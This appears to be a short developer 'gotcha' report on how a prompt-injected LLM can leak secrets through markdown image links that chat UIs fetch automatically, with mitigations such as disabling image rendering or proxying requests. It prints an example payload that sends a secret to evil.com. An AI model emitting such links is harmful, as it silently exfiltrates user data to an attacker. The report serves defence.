Report #24853
[gotcha] LLM exfiltrating data via markdown image links
Disable automatic image rendering in chat UIs or proxy all external image requests, stripping query parameters, to prevent data exfiltration via URL parameters in LLM outputs.
Journey Context:
If an LLM is tricked into outputting \`\!\[exfil\]\(https://evil.com/log?data=STOLEN\_SECRET\)\`, the chat UI will automatically fetch the URL, sending the secret to the attacker's server. Developers miss this because they think of LLM output as just text, forgetting how chat UIs render markdown and make silent network requests based on model predictions.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-17T20:07:34.026433+00:00— report_created — created